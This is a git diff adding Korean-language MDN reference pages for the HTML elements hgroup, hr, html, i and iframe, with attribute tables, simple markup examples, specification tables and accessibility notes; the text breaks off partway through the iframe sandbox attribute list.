+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, 제목 콘텐츠, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>하나 이상의 {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 규칙</th>
+ <td>{{ARIARole("tab")}}, {{ARIARole("presentation")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<div class="blockIndicator note">
+<p><code>&lt;hgroup&gt;</code> 요소는 W3C HTML5 명세에서 제거되었고, WHATWG판 HTML에만 남아있습니다. 그러나 대부분의 브라우저에서 부분적으로 구현 중이므로 사라지지는 않을 것으로 보입니다.<br>
+ 다만, <code>&lt;hgroup&gt;</code> 요소의 주요 목적이 <a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽">HTML 명세의 개요 알고리즘</a>에서 제목의 표시 방법을 설정하기 위함이며, <strong>어떠한 브라우저도 개요 알고리즘을 구현하지 않았음</strong>을 고려할 때, <code>&lt;hgroup&gt;</code>의 의미는 이론적으로만 유효합니다.<br>
+ W3C HTML5 명세에서 <code>&lt;hgroup&gt;</code> 없이 <a href="https://www.w3.org/TR/html52/common-idioms-without-dedicated-elements.html#common-idioms-without-dedicated-elements">부제, 보조 제목, 태그라인의 마크업 방법</a>에 대한 조언을 제공하고 있습니다.</p>
+</div>
+
+<p><code>&lt;hgroup&gt;</code> 요소는 문서 구획의 주 제목과 2차 제목을 연결해, 제목-부제목과 같은 "다단계 제목"을 만들 수 있습니다.</p>
+
+<p>다른 말로 하면, <code>&lt;hgroup&gt;</code> 요소는 자신의 2차 <code>{{htmlelement("Heading_Elements", "&lt;h1&gt;-&lt;h6&gt;")}}</code>이 문서 개요에 자신의 구획을 생성하는 것을 방지합니다.</p>
+
+<p>따라서 <a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽">HTML 개요 알고리즘</a>이 생성한 추상적 개요 내에서, <code>&lt;hgroup&gt;</code>은 논리적인 단일 제목을 형성하고, <code>&lt;hgroup&gt;</code>의 자식 제목 요소가 그 안에 하나로 포함됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;hgroup&gt;
+ &lt;h1&gt;주요 제목&lt;/h1&gt;
+ &lt;h2&gt;부제목&lt;/h2&gt;
+&lt;/hgroup&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-hgroup-element', '&lt;hgroup&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.hgroup")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>구획 관련 다른 요소: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li>
+ <li><a class="deki-ns current" href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">HTML5 문서의 구획과 개요</a>.</li>
+</ul>
diff --git a/files/ko/web/html/element/hr/index.html b/files/ko/web/html/element/hr/index.html
new file mode 100644
index 0000000000..80163cd763
--- /dev/null
+++ b/files/ko/web/html/element/hr/index.html
@@ -0,0 +1,131 @@
+---
+title: <hr>
+slug: Web/HTML/Element/hr
+tags:
+ - Element
+ - HTML
+ - HTML grouping content
+ - Reference
+translation_of: Web/HTML/Element/hr
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;hr&gt;</code> 요소</strong>는 이야기 장면 전환, 구획 내 주제 변경 등, 문단 레벨 요소에서 주제의 분리를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/hr.html", "tabbed-shorter")}}</div>
+
+
+
+<p>역사적으로 <code>&lt;hr&gt;</code>은 가로줄로 표현했습니다. 시각적 브라우저에서도 가로줄로 그려질 수 있지만, 이제 시각 표현에 그치지 않고 의미를 가지게 됐습니다. 따라서 가로줄을 그리고 싶다면 적절한 CSS를 사용해야 합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>없음. {{glossary("empt element", "빈 요소")}}입니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("presentation")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLHRElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecated_inline}}</dt>
+ <dd>줄의 정렬을 지정합니다. 기본값은 <code>left</code>입니다.</dd>
+ <dt>{{htmlattrdef("color")}} {{Non-standard_inline}}</dt>
+ <dd>색깔 이름 또는 16 진수의 값으로 줄의 색깔을 지정합니다.</dd>
+ <dt>{{htmlattrdef("noshade")}} {{deprecated_inline}}</dt>
+ <dd>Sets the rule to have no shading.</dd>
+ <dt>{{htmlattrdef("size")}} {{deprecated_inline}}</dt>
+ <dd>줄의 높이를 픽셀 단위로 지정합니다.</dd>
+ <dt>{{htmlattrdef("width")}} {{deprecated_inline}}</dt>
+ <dd>줄의 가로 길이를 픽셀이나 퍼센트 값으로 지정합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+This is the first paragraph of text.
+This is the first paragraph of text.
+This is the first paragraph of text.
+This is the first paragraph of text.
+&lt;/p&gt;
+
+&lt;hr&gt;
+
+&lt;p&gt;
+This is second paragraph of text.
+This is second paragraph of text.
+This is second paragraph of text.
+This is second paragraph of text.
+&lt;/p&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-hr-element', '&lt;hr&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Definition of the <code>&lt;hr&gt;</code> element</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-hr-element', '&lt;hr&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.3', '&lt;hr&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>The <code>align</code>, <code>noshade</code>, <code>size</code>, and <code>width</code> attributes are deprecated</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.hr")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{htmlelement("p")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/html/index.html b/files/ko/web/html/element/html/index.html
new file mode 100644
index 0000000000..a9c634ebc5
--- /dev/null
+++ b/files/ko/web/html/element/html/index.html
@@ -0,0 +1,123 @@
+---
+title: '<html>: HTML 문서 / 루트 요소'
+slug: Web/HTML/Element/html
+tags:
+ - Element
+ - HTML
+ - HTML Root Element
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/html
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;html&gt;</code> 요소</strong>는 HTML 문서의 루트(최상단 요소)를 나타내며, "루트 요소"라고도 부릅니다. 모든 다른 요소는 <code>&lt;html&gt;</code> 요소의 후손이어야 합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>하나의 {{HTMLElement("head")}} 요소와 그 뒤를 따르는 하나의 {{HTMLElement("body")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td><code>&lt;html&gt;</code> 요소 내부의 첫 번째 것이 주석이 아니라면 시작 태그를 생략할 수 있습니다.<br>
+ <code>&lt;html&gt;</code> 요소 바로 뒤에 주석이 따라오지 않는다면 종료 태그를 생략할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>없음. <code>&lt;html&gt;</code>이 문서의 루트 요소입니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 역할</th>
+ <td>{{domxref("HTMLHtmlElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a><span style="line-height: 21px;">을 포함합니다.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("manifest")}} {{obsolete_inline}}</dt>
+ <dd>지역적으로 캐시되어야하는 리소스를 가리키는 매니페스트 리소스의 URI를 나타냅니다. 자세한 내용은 <a href="/en-US/docs/HTML/Using_the_application_cache" title="/en-US/docs/HTML/Using_the_application_cache">애플리케이션 캐시 사용하기</a>를 보세요.</dd>
+ <dt>{{htmlattrdef("version")}} {{obsolete_inline}}</dt>
+ <dd>현재 문서를 제어하는 HTML 문서 타입 정의의 버전을 나타냅니다. 하지만 이미 문서 타입 선언이 버전을 나타내고 있기 떄문에 이 속성은 필요하지 않습니다.</dd>
+ <dt>{{htmlattrdef("xmlns")}}</dt>
+ <dd>문서의 {{glossary("XML")}} {{glossary("네임스페이스")}}를 지정합니다. 기본값은 <code>"http://www.w3.org/1999/xhtml"</code>입니다. XML {{glossary("parser", "구문 분석기")}}로 분석한 문서에는 필수이고, <code>text/html</code> 문서에서는 선택사항입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html lang="ko"&gt;
+ &lt;head&gt;...&lt;/head&gt;
+ &lt;body&gt;...&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">접근성 고려사항</h2>
+
+<p><code>html</code> 요소의 {{htmlattrxref("lang")}} 특성에 <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">유효한 IETF 언어 식별 태그</a>를 지정하면 스크린 리더가 음성 표현에 사용할 언어를 선택할 때 도움이 됩니다. 언어 식별 태그는 페이지의 주 언어를 가리켜야 합니다. 아무런 값도 지정하지 않을 시 보통 운영체제의 언어 설정을 따라가므로, 잘못된 발음을 사용할 수 있습니다.</p>
+
+<p>또한 <code>&lt;html&gt;</code> 요소에 유효한 <code>lang</code> 선언이 존재해야 {{htmlelement("title")}}과 같은 {{htmlelement("head")}} 내부의 중요한 메타데이터를 정확한 발음으로 표현할 수 있습니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.1_%E2%80%94_Readable_Make_text_content_readable_and_understandable">MDN Understanding WCAG, Guideline 3.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/meaning-doc-lang-id.html">Understanding Success Criterion 3.1.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-html-element', '&lt;html&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'semantics.html#the-html-element', '&lt;html&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.3', '&lt;html&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.html")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>MathML 최상위 요소 {{MathMLElement("math")}}</li>
+ <li>SVG 최상위 요소 {{SVGElement("svg")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/i/index.html b/files/ko/web/html/element/i/index.html
new file mode 100644
index 0000000000..583115a20f
--- /dev/null
+++ b/files/ko/web/html/element/i/index.html
@@ -0,0 +1,119 @@
+---
+title: <i>
+slug: Web/HTML/Element/i
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/i
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;i&gt;</code> 요소</strong>는 텍스트에서 어떤 이유로 주위와 구분해야 하는 부분을 나타냅니다.</span> 기술 용어, 외국어 구절, 등장인물의 생각 등을 예시로 들 수 있습니다. 보통 기울임꼴로 표시합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/i.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>일반 산문과 다른 문체를 가진 텍스트에 <code>&lt;i&gt;</code> 요소를 사용하세요. 주위 텍스트와 다른 의미를 가진 텍스트에 적용하면 됩니다.</li>
+ <li>초기 HTML 명세의 <code>&lt;i&gt;</code> 요소는, {{htmlelement("b")}} 요소가 굵은 글씨 적용에 그쳤던 것과 마찬가지로, 글자를 기울이기만 하는 단순한 시각적 요소였습니다. 그러나 지금은 글자 외형에 그치지 않고 특정한 의미를 지니는 요소이므로 시각적인 강조에 그치지 않습니다. 보통, 브라우저가 여전히 <code>&lt;i&gt;</code> 요소의 글자를 기울이겠지만, 명세에 따르면 꼭 그렇게 표시할 필요는 없습니다.</li>
+ <li><code>&lt;i&gt;</code> 요소가 글자를 기울이기는 하지만, 기울임꼴을 적용하기 위한 용도로 사용해서는 안됩니다. CSS {{cssxref("font-style")}} 속성을 사용하세요.</li>
+ <li>강조하려는 텍스트가 다른 요소에 더 적합하지 않은지 고려하세요.
+ <ul>
+ <li>{{htmlelement("em")}} 요소는 강세를 나타냅니다.</li>
+ <li>{{htmlelement("strong")}} 요소는 보다 강한 강조를 나타냅니다.</li>
+ <li>{{htmlelement("mark")}} 요소는 관련성을 나타냅니다.</li>
+ <li>{{htmlelement("cite")}} 요소는 책, 공연, 음악 등 저작물의 이름을 나타냅니다.</li>
+ <li>{{htmlelement("dfn")}} 요소는 정의 대상인 용어를 나타냅니다.</li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 외국어를 강조하기 위해 <code>&lt;i&gt;</code> 요소를 사용합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;라틴어 문구 &lt;i&gt;Veni, vidi, vici&lt;/i&gt;는 음악과 예술, 문학에 자주 등장합니다.&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-i-element', '&lt;i&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-i-element', '&lt;i&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.2.1', '&lt;b&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.i")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("em")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/iframe/index.html b/files/ko/web/html/element/iframe/index.html
new file mode 100644
index 0000000000..bb4ecec354
--- /dev/null
+++ b/files/ko/web/html/element/iframe/index.html
@@ -0,0 +1,253 @@
+---
+title: '<iframe>: 인라인 프레임 요소'
+slug: Web/HTML/Element/iframe
+tags:
+ - Element
+ - HTML
+ - HTML embedded content
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/iframe
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;iframe&gt;</code> 요소</strong>는 중첩 {{glossary("browsing context", "브라우징 맥락")}}을 나타내는 요소로, 현재 문서 안에 다른 HTML 페이지를 삽입합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/iframe.html", "tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p>삽입된 브라우징 맥락은 각자 자신만의 <a href="/ko/docs/Web/API/History">세션 기록</a>과 <a href="/ko/docs/Web/API/Document">문서</a>를 가집니다. 다른 브라우징 맥락을 포함하고 있는 맥락은 "부모 브라우징 맥락"이라고 부릅니다. 부모를 가지지 않는, 즉 최상위 브라우징 맥락은 대개 브라우저 창으로서, {{domxref("Window")}} 객체로 나타냅니다.</p>
+
+<div class="blockIndicator warning">
+<p>각각의 브라우징 맥락은 완전한 문서 환경이므로, 페이지에 <code>&lt;iframe&gt;</code>을 추가할 때마다 메모리 및 기타 컴퓨터 자원 사용량이 늘어납니다. 이론상으로는 원하는 만큼 <code>&lt;iframe&gt;</code>을 사용할 수 있지만, 성능 문제가 없는지 확인하세요.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>플로우 콘텐츠, 구문 콘텐츠, 내장 콘텐츠, 대화형 콘텐츠, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>내장 콘텐츠를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("img")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLIFrameElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("allow")}}</dt>
+ <dd>Specifies a <a href="/en-US/docs/Web/HTTP/Feature_Policy">feature policy</a> for the <code>&lt;iframe&gt;</code>. See the article <a href="/en-US/docs/Web/Privacy">Privacy, permissions, and information security</a> for details on security issues and how <code>&lt;iframe&gt;</code> works with Feature Policy to keep systems safe.</dd>
+ <dt>{{htmlattrdef("allowfullscreen")}}</dt>
+ <dd>Set to <code>true</code> if the <code>&lt;iframe&gt;</code> can activate fullscreen mode by calling the {{domxref("Element.requestFullscreen", "requestFullscreen()")}} method.</dd>
+ <dd>
+ <div class="note">This attribute is considered a legacy attribute and redefined as <code>allow="fullscreen"</code>.</div>
+ </dd>
+ <dt>{{htmlattrdef("allowpaymentrequest")}}</dt>
+ <dd>Set to <code>true</code> if a cross-origin <code>&lt;iframe&gt;</code> should be allowed to invoke the <a href="/en-US/docs/Web/API/Payment_Request_API">Payment Request API</a>.</dd>
+ <dd>
+ <div class="note">This attribute is considered a legacy attribute and redefined as <code>allow="payment"</code>.</div>
+ </dd>
+ <dt>{{htmlattrdef("csp")}} {{experimental_inline}}</dt>
+ <dd>A <a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy</a> enforced for the embedded resource. See {{domxref("HTMLIFrameElement.csp")}} for details.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>The height of the frame in CSS pixels. Default is <code>150</code>.</dd>
+ <dt id="name-attribute">{{htmlattrdef("importance")}} {{experimental_inline}}</dt>
+ <dd>The download priority of the resource in the <code>&lt;iframe&gt;</code>'s <code>src</code> attribute. Allowed values:
+ <dl>
+ <dt><code>auto</code> (default)</dt>
+ <dd>No preference. The browser uses its own heuristics to decide the priority of the resource.</dd>
+ <dt><code>high</code></dt>
+ <dd>The resource should be downloaded before other lower-priority page resources.</dd>
+ <dt><code>low</code></dt>
+ <dd>The resource should be downloaded after other higher-priority page resources.</dd>
+ </dl>
+ </dd>
+ <dt>{{htmlattrdef("loading")}} {{experimental_inline}}</dt>
+ <dd>Indicates how the browser should load the iframe:
+ <ul>
+ <li><code>eager</code>: Load the iframe immediately, regardless if it is outside the visible viewport (this is the default value).</li>
+ <li><code><font face="consolas, Liberation Mono, courier, monospace">lazy</font></code>: Defer loading of the iframe until it reaches a calculated distance from the viewport, as defined by the browser.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>A targetable name for the embedded browsing context. This can be used in the <code>target</code> attribute of the {{HTMLElement("a")}}, {{HTMLElement("form")}}, or {{HTMLElement("base")}} elements; the <code>formtarget</code> attribute of the {{HTMLElement("input")}} or {{HTMLElement("button")}} elements; or the <code>windowName</code> parameter in the {{domxref("Window.open()","window.open()")}} method.</dd>
+ <dt id="attr-referrer">{{htmlattrdef("referrerpolicy")}}</dt>
+ <dd>Indicates which <a href="/en-US/docs/Web/API/Document/referrer">referrer</a> to send when fetching the frame's resource:
+ <ul>
+ <li><code>no-referrer</code>: The {{HTTPHeader("Referer")}} header will not be sent.</li>
+ <li><code>no-referrer-when-downgrade</code> (default): The {{HTTPHeader("Referer")}} header will not be sent to {{Glossary("origin")}}s without {{Glossary("TLS")}} ({{Glossary("HTTPS")}}).</li>
+ <li><code>origin</code>: The sent referrer will be limited to the origin of the referring page: its <a href="/en-US/docs/Archive/Mozilla/URIScheme">scheme</a>, {{Glossary("host")}}, and {{Glossary("port")}}.</li>
+ <li><code>origin-when-cross-origin</code>: The referrer sent to other origins will be limited to the scheme, the host, and the port. Navigations on the same origin will still include the path.</li>
+ <li><code>same-origin</code>: A referrer will be sent for {{Glossary("Same-origin policy", "same origin")}}, but cross-origin requests will contain no referrer information.</li>
+ <li><code>strict-origin</code>: Only send the origin of the document as the referrer when the protocol security level stays the same (HTTPS→HTTPS), but don't send it to a less secure destination (HTTPS→HTTP).</li>
+ <li><code>strict-origin-when-cross-origin</code>: Send a full URL when performing a same-origin request, only send the origin when the protocol security level stays the same (HTTPS→HTTPS), and send no header to a less secure destination (HTTPS→HTTP).</li>
+ <li><code>unsafe-url</code>: The referrer will include the origin <em>and</em> the path (but not the <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/hash">fragment</a>, <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/password">password</a>, or <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/username">username</a>). <strong>This value is unsafe</strong>, because it leaks origins and paths from TLS-protected resources to insecure origins.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("sandbox")}}</dt>
+ <dd>Applies extra restrictions to the content in the frame. The value of the attribute can either be empty to apply all restrictions, or space-separated tokens to lift particular restrictions:
+ <ul>
+ <li><code>allow-downloads-without-user-activation</code> {{experimental_inline}}: Allows for downloads to occur without a gesture from the user.</li>
+ <li><code>allow-forms</code>: Allows the resource to submit forms. If this keyword is not used, form submission is blocked.</li>
+ <li><code>allow-modals</code>: Lets the resource <a href="https://html.spec.whatwg.org/multipage/origin.html#sandboxed-modals-flag">open modal windows</a>.</li>
+ <li><code>allow-orientation-lock</code>: Lets the resource <a href="/en-US/docs/Web/API/Screen/lockOrientation">lock the screen orientation</a>.</li>
+ <li><code>allow-pointer-lock</code>: Lets the resource use the <a href="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock API</a>.</li>
+ <li><code>allow-popups</code>: Allows popups (such as <code>window.open()</code>, <code>target="_blank"</code>, or <code>showModalDialog()</code>). If this keyword is not used, the popup will silently fail to open.</li>
+ <li><code>allow-popups-to-escape-sandbox</code>: Lets the sandboxed document open new windows without those windows inheriting the sandboxing. For example, this can safely sandbox an advertisement without forcing the same restrictions upon the page the ad links to.</li>
+ <li><code>allow-presentation</code>: Lets the resource start a <a href="/en-US/docs/Web/API/PresentationRequest">presentation session</a>.</li>
+ <li><code>allow-same-origin</code>: If this token is not used, the resource is treated as being from a special origin that always fails the {{Glossary("same-origin policy")}}.</li>
+ <li><code>allow-scripts</code>: Lets the resource run scripts (but not create popup windows).</li>
